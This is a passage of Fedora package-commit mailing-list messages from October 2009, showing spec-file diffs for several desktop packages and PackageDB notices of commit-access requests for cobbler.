+* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 4.6.1-4
+- Add BR perl(ExtUtils::MakeMaker) and perl(Glib::MakeHelper)
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.6.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From orion at fedoraproject.org  Tue Oct 20 16:45:59 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 20 Oct 2009 16:45:59 +0000 (UTC)
Subject: rpms/xfconf/devel xfconf.spec,1.13,1.14
Message-ID: <20091020164559.0DB8811C0081@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/xfconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18615

Modified Files:
	xfconf.spec 
Log Message:
* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 4.6.1-4
- Add BR perl(ExtUtils::MakeMaker) and perl(Glib::MakeHelper)



Index: xfconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfconf/devel/xfconf.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xfconf.spec	27 Jul 2009 07:58:56 -0000	1.13
+++ xfconf.spec	20 Oct 2009 16:45:58 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           xfconf
 Version:        4.6.1
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Hierarchical configuration system for Xfce
 
 Group:          System Environment/Base
@@ -14,6 +14,7 @@ BuildRequires:  libxfce4util-devel = %{v
 BuildRequires:  dbus-devel
 BuildRequires:  dbus-glib-devel
 BuildRequires:  perl(ExtUtils::Depends) perl(ExtUtils::PkgConfig) perl(Glib)
+BuildRequires:  perl(ExtUtils::MakeMaker) perl(Glib::MakeHelper)
 BuildRequires:  gettext
 Requires:       dbus-x11
 
@@ -112,6 +113,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 4.6.1-4
+- Add BR perl(ExtUtils::MakeMaker) and perl(Glib::MakeHelper)
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.6.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From maxx at fedoraproject.org  Tue Oct 20 16:51:22 2009
From: maxx at fedoraproject.org (Mads Villadsen)
Date: Tue, 20 Oct 2009 16:51:22 +0000 (UTC)
Subject: rpms/hamster-applet/devel .cvsignore, 1.23, 1.24 hamster-applet.spec,
	1.32, 1.33 sources, 1.23, 1.24
Message-ID: <20091020165122.195B411C0081@cvs1.fedora.phx.redhat.com>

Author: maxx

Update of /cvs/pkgs/rpms/hamster-applet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19543

Modified Files:
	.cvsignore hamster-applet.spec sources 
Log Message:
* Tue Oct 20 2009 Mads Villadsen <maxx at krakoa.dk> - 2.28.1-1
- Update to latest upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hamster-applet/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	22 Sep 2009 15:11:06 -0000	1.23
+++ .cvsignore	20 Oct 2009 16:51:21 -0000	1.24
@@ -1 +1 @@
-hamster-applet-2.28.0.tar.bz2
+hamster-applet-2.28.1.tar.bz2


Index: hamster-applet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hamster-applet/devel/hamster-applet.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- hamster-applet.spec	22 Sep 2009 15:11:06 -0000	1.32
+++ hamster-applet.spec	20 Oct 2009 16:51:21 -0000	1.33
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           hamster-applet
-Version:        2.28.0
+Version:        2.28.1
 Release:        1%{?dist}
 Summary:        Time tracking applet
 
@@ -98,6 +98,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Mads Villadsen <maxx at krakoa.dk> - 2.28.1-1
+- Update to latest upstream release
+
 * Tue Sep 22 2009 Mads Villadsen <maxx at krakoa.dk> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hamster-applet/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	22 Sep 2009 15:11:06 -0000	1.23
+++ sources	20 Oct 2009 16:51:21 -0000	1.24
@@ -1 +1 @@
-a35224d3515a0395c1b086cfe4b9a2a5  hamster-applet-2.28.0.tar.bz2
+f4c68e02b487b9e0d284e63a411d8cdd  hamster-applet-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Tue Oct 20 16:51:38 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 16:51:38 +0000 (UTC)
Subject: rpms/brasero/F-12 .cvsignore, 1.30, 1.31 brasero.spec, 1.67,
	1.68 sources, 1.30, 1.31
Message-ID: <20091020165138.72E3611C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/brasero/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19594

Modified Files:
	.cvsignore brasero.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	5 Oct 2009 17:25:38 -0000	1.30
+++ .cvsignore	20 Oct 2009 16:51:38 -0000	1.31
@@ -1 +1 @@
-brasero-2.28.1.tar.bz2
+brasero-2.28.2.tar.bz2


Index: brasero.spec
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/brasero.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- brasero.spec	7 Oct 2009 08:35:48 -0000	1.67
+++ brasero.spec	20 Oct 2009 16:51:38 -0000	1.68
@@ -1,6 +1,6 @@
 Name:      brasero
-Version:   2.28.1
-Release:   2%{?dist}
+Version:   2.28.2
+Release:   1%{?dist}
 Summary:   Gnome CD/DVD burning application
 Group:     Applications/Multimedia
 License:   GPLv2+
@@ -8,9 +8,6 @@ URL:       http://www.gnome.org/projects
 Source0:   http://ftp.gnome.org/pub/GNOME/sources/brasero/2.28/%{name}-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=597584
-Patch0: 0001-Fix-parsing-of-file-paths-on-the-command-line.patch
-
 BuildRequires:  glib2-devel >= 2.15.6
 BuildRequires:  gettext intltool gtk-doc
 BuildRequires:  desktop-file-utils
@@ -89,7 +86,6 @@ developing brasero applications.
 
 %prep
 %setup -q
-%patch0 -p1 -b .cmdline
 
 %build
 %configure \
@@ -207,6 +203,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.2-1
+- Update to 2.28.2
+
 * Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
 - Fix command-line parsing (#527484)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	5 Oct 2009 17:25:38 -0000	1.30
+++ sources	20 Oct 2009 16:51:38 -0000	1.31
@@ -1 +1 @@
-ad422a966d100f99b027b6b4170e8ede  brasero-2.28.1.tar.bz2
+7a6ab4befeadbc2ad21bd1195a840097  brasero-2.28.2.tar.bz2



From maxx at fedoraproject.org  Tue Oct 20 17:03:09 2009
From: maxx at fedoraproject.org (Mads Villadsen)
Date: Tue, 20 Oct 2009 17:03:09 +0000 (UTC)
Subject: rpms/hamster-applet/F-12 .cvsignore, 1.23, 1.24 hamster-applet.spec,
	1.32, 1.33 sources, 1.23, 1.24
Message-ID: <20091020170309.88EA711C0081@cvs1.fedora.phx.redhat.com>

Author: maxx

Update of /cvs/pkgs/rpms/hamster-applet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22530

Modified Files:
	.cvsignore hamster-applet.spec sources 
Log Message:
* Tue Oct 20 2009 Mads Villadsen <maxx at krakoa.dk> - 2.28.1-1
- Update to latest upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hamster-applet/F-12/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	22 Sep 2009 15:11:06 -0000	1.23
+++ .cvsignore	20 Oct 2009 17:03:09 -0000	1.24
@@ -1 +1 @@
-hamster-applet-2.28.0.tar.bz2
+hamster-applet-2.28.1.tar.bz2


Index: hamster-applet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hamster-applet/F-12/hamster-applet.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- hamster-applet.spec	22 Sep 2009 15:11:06 -0000	1.32
+++ hamster-applet.spec	20 Oct 2009 17:03:09 -0000	1.33
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           hamster-applet
-Version:        2.28.0
+Version:        2.28.1
 Release:        1%{?dist}
 Summary:        Time tracking applet
 
@@ -98,6 +98,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Mads Villadsen <maxx at krakoa.dk> - 2.28.1-1
+- Update to latest upstream release
+
 * Tue Sep 22 2009 Mads Villadsen <maxx at krakoa.dk> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hamster-applet/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	22 Sep 2009 15:11:06 -0000	1.23
+++ sources	20 Oct 2009 17:03:09 -0000	1.24
@@ -1 +1 @@
-a35224d3515a0395c1b086cfe4b9a2a5  hamster-applet-2.28.0.tar.bz2
+f4c68e02b487b9e0d284e63a411d8cdd  hamster-applet-2.28.1.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 20 17:11:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 20 Oct 2009 17:11:44 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.163,1.164 comps-f13.xml.in,1.51,1.52
Message-ID: <20091020171144.3679F11C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24336

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
add gnome-applet-cpufire


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.163
retrieving revision 1.164
diff -u -p -r1.163 -r1.164
--- comps-f12.xml.in	20 Oct 2009 16:02:51 -0000	1.163
+++ comps-f12.xml.in	20 Oct 2009 17:11:43 -0000	1.164
@@ -2587,6 +2587,7 @@
       <packagereq type="optional">gnochm</packagereq>
       <packagereq type="optional">gnome-applet-alarm-clock</packagereq>
       <packagereq type="optional">gnome-applet-bubblemon</packagereq>
+      <packagereq type="optional">gnome-applet-cpufire</packagereq>
       <packagereq type="optional">gnome-applet-music</packagereq>
       <packagereq type="optional">gnome-applet-netspeed</packagereq>
       <packagereq type="optional">gnome-applet-sensors</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- comps-f13.xml.in	20 Oct 2009 16:02:51 -0000	1.51
+++ comps-f13.xml.in	20 Oct 2009 17:11:43 -0000	1.52
@@ -2585,6 +2585,7 @@
       <packagereq type="optional">gnochm</packagereq>
       <packagereq type="optional">gnome-applet-alarm-clock</packagereq>
       <packagereq type="optional">gnome-applet-bubblemon</packagereq>
+      <packagereq type="optional">gnome-applet-cpufire</packagereq>
       <packagereq type="optional">gnome-applet-music</packagereq>
       <packagereq type="optional">gnome-applet-netspeed</packagereq>
       <packagereq type="optional">gnome-applet-sensors</packagereq>



From mclasen at fedoraproject.org  Tue Oct 20 17:24:45 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 17:24:45 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec, 1.378,
	1.379 redhat-panel-default-setup.entries, 1.20, 1.21
Message-ID: <20091020172445.80EF411C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26607

Modified Files:
	gnome-panel.spec redhat-panel-default-setup.entries 
Log Message:
Reduce padding



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.378
retrieving revision 1.379
diff -u -p -r1.378 -r1.379
--- gnome-panel.spec	19 Oct 2009 18:51:04 -0000	1.378
+++ gnome-panel.spec	20 Oct 2009 17:24:44 -0000	1.379
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 9%{?dist}
+Release: 10%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -177,6 +177,7 @@ Panel Applets using the libpanel-applet 
 %patch42 -p1 -b .randr-crashes
 %patch43 -p1 -b .panel-padding
 %patch44 -p1 -b .icon-order
+exit
 %patch45 -p1 -b .icon-padding
 
 . %{SOURCE6}
@@ -385,6 +386,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-10
+- Reduce the inter-applet padding 
+
 * Mon Oct 19 2009 Ray Strode <rstrode at redhat.com> 2.28.0-9
 - Add explicit libs requires (bug 525600)
 


Index: redhat-panel-default-setup.entries
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/redhat-panel-default-setup.entries,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- redhat-panel-default-setup.entries	18 Oct 2009 03:54:46 -0000	1.20
+++ redhat-panel-default-setup.entries	20 Oct 2009 17:24:45 -0000	1.21
@@ -91,7 +91,7 @@
       <key>toplevels/top_panel/padding</key>
       <schema_key>/schemas/apps/panel/toplevels/padding</schema_key>
       <value>
-        <int>10</int>
+        <int>8</int>
       </value>
     </entry>
     <entry>
@@ -150,7 +150,7 @@
       <key>toplevels/bottom_panel/padding</key>
       <schema_key>/schemas/apps/panel/toplevels/padding</schema_key>
       <value>
-        <int>10</int>
+        <int>8</int>
       </value>
     </entry>
     <entry>



From pgordon at fedoraproject.org  Tue Oct 20 17:27:19 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Tue, 20 Oct 2009 17:27:19 +0000 (UTC)
Subject: rpms/midori/F-11 .cvsignore, 1.14, 1.15 midori.spec, 1.27,
	1.28 sources, 1.14, 1.15
Message-ID: <20091020172720.0188A11C0081@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/midori/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28172

Modified Files:
	.cvsignore midori.spec sources 
Log Message:
Update to 0.2.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/midori/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	16 Sep 2009 06:07:09 -0000	1.14
+++ .cvsignore	20 Oct 2009 17:27:19 -0000	1.15
@@ -1 +1 @@
-midori-0.1.10.tar.bz2
+midori-0.2.0.tar.bz2


Index: midori.spec
===================================================================
RCS file: /cvs/pkgs/rpms/midori/F-11/midori.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- midori.spec	16 Sep 2009 06:07:09 -0000	1.27
+++ midori.spec	20 Oct 2009 17:27:19 -0000	1.28
@@ -1,5 +1,5 @@
 Name:		midori
-Version:	0.1.10
+Version:	0.2.0
 Release:	1%{?dist}
 Summary:	A lightweight GTK+ web browser 
 
@@ -98,9 +98,17 @@ fi
 %{_datadir}/%{name}/
 %{_libdir}/%{name}/
 %{_sysconfdir}/xdg/%{name}/
+%config(noreplace) %{_sysconfdir}/%{name}/extensions/*/config
+%{_sysconfdir}/%{name}
 
 
 %changelog
+* Tue Oct 20 2009 Peter Gordon <peter at thecodergeek.com> - 0.2.0-1
+- Update to new upstream release (0.2.0): Drag-scroll on touchscreen devices,
+  Speed Dial fixes, faster AdBlock (for all WebKitGTK+ versions), updated DNS
+  and IDN handling, new form history extension, various bookmark and history
+  fixes.
+
 * Tue Sep 15 2009 Peter Gordon <peter at thecodergeek.com> - 0.1.10-1
 - Update to new upstream release (0.1.10): Updated AdBlock for WebKitGTK+
   1.1.14, improved address completion, fixes for tab and feed handling, better


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/midori/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	16 Sep 2009 06:07:09 -0000	1.14
+++ sources	20 Oct 2009 17:27:19 -0000	1.15
@@ -1 +1 @@
-97b6a3a3ccb8458c68c335b2ee8e9197  midori-0.1.10.tar.bz2
+805e2e59a93a0a4b7652d6547b2bd923  midori-0.2.0.tar.bz2



From joost at fedoraproject.org  Tue Oct 20 17:49:23 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Tue, 20 Oct 2009 17:49:23 +0000 (UTC)
Subject: rpms/lazarus/F-12 gzip_manpages_patch.diff, NONE, 1.1 lazarus.spec, 
	1.9, 1.10 sources, 1.4, 1.5
Message-ID: <20091020174923.443F211C0081@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/lazarus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31240

Modified Files:
	lazarus.spec sources 
Added Files:
	gzip_manpages_patch.diff 
Log Message:
* Fri Oct 16 2009 Joost van der Sluis <rel-eng at lists.fedoraproject.org> - 0.9.28-1
- Updated to version 0.9.28


gzip_manpages_patch.diff:
 Makefile |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE gzip_manpages_patch.diff ---
Index: lazarus/install/man/Makefile
===================================================================
--- lazarus/install/man/Makefile	(revision 22196)
+++ lazarus/install/man/Makefile	(working copy)
@@ -31,3 +31,4 @@
 #	$(GINSTALL) -d -m 755 $(INSTALL_MANDIR)/man5
 	$(GINSTALL) -c -m 644 man1/*.1 $(INSTALL_MANDIR)/man1
 #	$(GINSTALL) -c -m 644 man5/*.5 $(INSTALL_MANDIR)/man5
+	find man1/*.1 -exec gzip -9f $(INSTALL_MANDIR)/'{}' \;


Index: lazarus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lazarus/F-12/lazarus.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lazarus.spec	25 Jul 2009 05:00:01 -0000	1.9
+++ lazarus.spec	20 Oct 2009 17:49:23 -0000	1.10
@@ -1,61 +1,61 @@
 Name:           lazarus
-Version:        0.9.26.2
-Release:        4%{?dist}
+Version:        0.9.28
+Release:        1%{?dist}
 Summary:        Lazarus Component Library and IDE for Freepascal
 
 Group:          Development/Languages
 # GNU Classpath style exception, see COPYING.modifiedLGPL
 License:        GPLv2+ and MPLv1.1 and LGPLv2+ with exceptions
 URL:            http://www.lazarus.freepascal.org/
-Source0:        http://download.sourceforge.net/%{name}/%{name}-%{version}-0.tgz
+Source0:        http://download.sourceforge.net/%{name}/%{name}-%{version}-src.tar.bz2
 patch0:         Makefile_patch.diff
 patch1:         Desktop_patch.diff
+patch2: 	gzip_manpages_patch.diff
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  fpc >= 2.2.2, binutils, gdk-pixbuf-devel, gtk+-devel, glibc-devel, desktop-file-utils, gtk2-devel, fpc-src >= 2.2.2
-Requires:       fpc-src >= 2.2.2, fpc >= 2.2.2, binutils, gdk-pixbuf-devel, gtk+-devel, glibc-devel, gdb 
+BuildRequires:  fpc, binutils, glibc-devel, desktop-file-utils, fpc-src, gtk2-devel 
+Requires:       fpc-src, fpc, binutils, glibc-devel, gdb, gtk2-devel 
 
 ExcludeArch:    s390 s390x
 
 %description
-Lazarus is a free and opensource RAD tool for freepascal using the lazarus
+A free and opensource RAD tool for freepascal using the lazarus
 component library - LCL, which is also included in this package.
 
 %prep
 %setup -c -q
 %patch0 -p0
 %patch1 -p0
+%patch2 -p0
 
 %build
 cd lazarus
-# Remove the files for building debian-repositories
+# Remove the files for building other packages
 rm -rf debian
-rm -rf tools/install/cross_unix/debian_crosswin32
-rm tools/install/cross_unix/create_linux_cross_win32_deb.sh
-rm tools/install/cross_unix/HowToCreate_fpc_crosswin32_deb.txt
+cd tools
+find install -depth -type d ! \( -path "install/linux/*" -o -path "install/linux" -o -path "install" \) -exec rm -rf '{}' \;
+cd ..
+
 # Remove scripts vulnerable to symlink-attacks (bug 460642)
 rm tools/convert_po_file_to_utf-8.sh
-rm tools/install/build_fpc_snaphot_rpm.sh
-rm tools/install/check_fpc_dependencies.sh
-rm tools/install/create_fpc_deb.sh
-rm tools/install/create_fpc_export_tgz.sh
-rm tools/install/create_fpc_rpm.sh
-rm tools/install/create_fpc-src_rpm.sh
-rm tools/install/create_fpc_tgz_from_local_dir.sh
-rm tools/install/create_lazarus_export_tgz.sh 
 
 export FPCDIR=%{_datadir}/fpcsrc/
 fpcmake -Tall
 make tools OPT='-gl'
 make bigide OPT='-gl'
 make lazbuilder OPT='-gl'
-# Add the ability to create gtk2-applications
-export LCL_PLATFORM=gtk2
-make lcl ideintf packager/registration bigidecomponents OPT='-gl'
-export LCL_PLATFORM=
 
 %install
 rm -rf %{buildroot}
+
+# These files have the wrong executable-bit set in version 0.9.28:
+chmod -x lazarus/tools/chmmaker/chmwriter.lpi
+chmod -x lazarus/tools/chmmaker/unit1.pas
+chmod -x lazarus/tools/chmmaker/unit1.lfm
+chmod -x lazarus/tools/chmmaker/unit1.lrs
+chmod +x lazarus/components/lazsvnpkg/lazsvnpkg_images.sh
+chmod +x lazarus/examples/trayicon/createbundle.sh
+
 make -C lazarus install INSTALL_PREFIX=%{buildroot}%{_prefix} _LIB=%{_lib}
 make -C lazarus/install/man INSTALL_MANDIR=%{buildroot}%{_mandir}
 
@@ -101,6 +101,9 @@ update-mime-database %{_datadir}/mime &>
 %{_mandir}/*/*
 
 %changelog
+* Fri Oct 16 2009 Joost van der Sluis <rel-eng at lists.fedoraproject.org> - 0.9.28-1
+- Updated to version 0.9.28
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.26.2-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lazarus/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	2 Apr 2009 16:23:44 -0000	1.4
+++ sources	20 Oct 2009 17:49:23 -0000	1.5
@@ -1 +1 @@
-357fd9f6e9d410f3c74ff493fce7f75a  lazarus-0.9.26.2-0.tgz
+01cebc06ab66c6e34f55b860d00de8bb  lazarus-0.9.28-src.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:12 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchcommits
Message-ID: <20091020175613.11C7310F850@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchcommits acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:17 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested commit
Message-ID: <20091020175617.6D07D10F86E@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:22 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchbugzilla
Message-ID: <20091020175622.D48FC10F80D@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchbugzilla acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:29 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchbugzilla
Message-ID: <20091020175629.DE60F10F80D@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchbugzilla acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:32 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchcommits
Message-ID: <20091020175632.1ED7410F87F@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchcommits acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:33 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested commit
Message-ID: <20091020175633.B8DC510F80D@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:40 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchcommits
Message-ID: <20091020175640.B74EF10F80D@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchcommits acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:43 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchbugzilla
Message-ID: <20091020175643.65FA110F87F@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchbugzilla acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:45 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested commit
Message-ID: <20091020175645.8F6E710F892@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:55 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchbugzilla
Message-ID: <20091020175655.C7B8310F86E@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchbugzilla acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:56 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchcommits
Message-ID: <20091020175656.20ACE10F88F@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchcommits acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:56:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:56:58 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested commit
Message-ID: <20091020175658.1849110F895@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:57:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:57:04 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchbugzilla
Message-ID: <20091020175704.5261710F80D@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchbugzilla acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:57:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
